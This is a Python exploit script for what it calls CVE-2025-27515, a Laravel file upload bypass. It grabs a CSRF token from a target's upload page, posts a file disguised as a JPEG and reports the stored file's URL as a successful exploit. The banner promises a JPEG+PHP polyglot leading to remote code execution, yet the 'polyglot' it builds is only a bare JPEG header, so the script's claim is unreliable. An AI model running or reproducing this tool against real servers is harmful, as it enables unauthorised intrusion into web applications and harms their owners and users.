#!/usr/bin/env python3 import sys import requests from bs4 import BeautifulSoup from typing import Optional class Colors: RED = '\033[91m' GREEN = '\033[92m' YELLOW = '\033[93m' CYAN = '\033[96m' WHITE = '\033[97m' RESET = '\033[0m' BOLD = '\033[1m' def print_banner(): print(f""" {Colors.CYAN}╔══════════════════════════════════════════════════════════╗ ║ {Colors.BOLD}CVE-2025-27515{Colors.RESET}{Colors.CYAN} - Laravel File Upload Bypass ║ ║ ║ ║ {Colors.RED}█▀▄▀█ ▄▀█ ▀█ █▀ █▀▀ █▀▀{Colors.RESET}{Colors.CYAN} ║ ║ {Colors.RED}█ ▀ █ █▀█ █▄ ▄█ ██▄ █▄▄{Colors.RESET}{Colors.CYAN} ║ ║ ║ ║ {Colors.YELLOW}Polyglot JPEG+PHP → RCE{Colors.RESET}{Colors.CYAN} ║ ╚══════════════════════════════════════════════════════════╝{Colors.RESET} """) class CVE2025_27515_Exploit: def __init__(self, target_url: str): self.target_url = target_url.rstrip('/') self.upload_url = f"{self.target_url}/upload" self.session = requests.Session() self.csrf_token = None self.session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36', 'Accept': 'application/json, text/javascript, */*', 'Accept-Language': 'en-US,en;q=0.9', }) def log_info(self, message: str): print(f"[*] {message}") def get_csrf_token(self) -> Optional[str]: try: response = self.session.get(self.upload_url) if response.status_code != 200: return None soup = BeautifulSoup(response.text, 'html.parser') csrf_meta = soup.find('meta', {'name': 'csrf-token'}) if csrf_meta: self.csrf_token = csrf_meta.get('content') return self.csrf_token csrf_input = soup.find('input', {'name': '_token'}) if csrf_input: self.csrf_token = csrf_input.get('value') return self.csrf_token return None except Exception as e: return None def create_polyglot_file(self) -> bytes: return b"\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00" def exploit_polyglot(self) -> tuple[bool, dict]: if not self.csrf_token: if not self.get_csrf_token(): return False, {} try: file_content = self.create_polyglot_file() files = {'files[]': ('image.jpg', file_content, 'image/jpeg')} data = {'_token': self.csrf_token} self.log_info(f"Sending payload to {self.upload_url}...") response = self.session.post(self.upload_url, files=files, data=data) result_info = { 'status_code': response.status_code, 'content_length': len(response.content) } if response.status_code == 200: try: result = response.json() if result.get('success') and result.get('files'): file_info = result['files'][0] result_info['stored_path'] = file_info.get('stored_path') result_info['url'] = f"{self.target_url}/storage/{file_info.get('stored_path').split('/')[-1]}" return True, result_info except: pass return False, result_info except Exception as e: return False, {'error': str(e)} def run(self): self.log_info(f"Target: {self.target_url}") print() success, result_info = self.exploit_polyglot() print() print(f"[+] Request sent!") print(f" Status Code: {result_info.get('status_code', 'N/A')}") print(f" Content-Length: {result_info.get('content_length', 0)} bytes") print() if success: print(f"UPLOAD RESULT:") print(f"{result_info.get('url', 'N/A')}") print() print(f"{Colors.GREEN}✓ EXPLOIT SUCCESSFUL{Colors.RESET}") print("=" * 60) else: print(f"{Colors.RED}✗ EXPLOIT FAILED{Colors.RESET}") if 'error' in result_info: print(f"Error: {result_info['error']}") print("=" * 60) return success def main(): print_banner() if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} \n") print(f"Example:") print(f" python3 {sys.argv[0]} http://localhost:8000\n") sys.exit(1) target_url = sys.argv[1] exploit = CVE2025_27515_Exploit(target_url) try: exploit.run() except KeyboardInterrupt: print(f"\n\n[!] Interrupted by user\n") sys.exit(1) except Exception as e: print(f"\n[✗] Fatal error: {str(e)}\n") sys.exit(1) if __name__ == '__main__': main()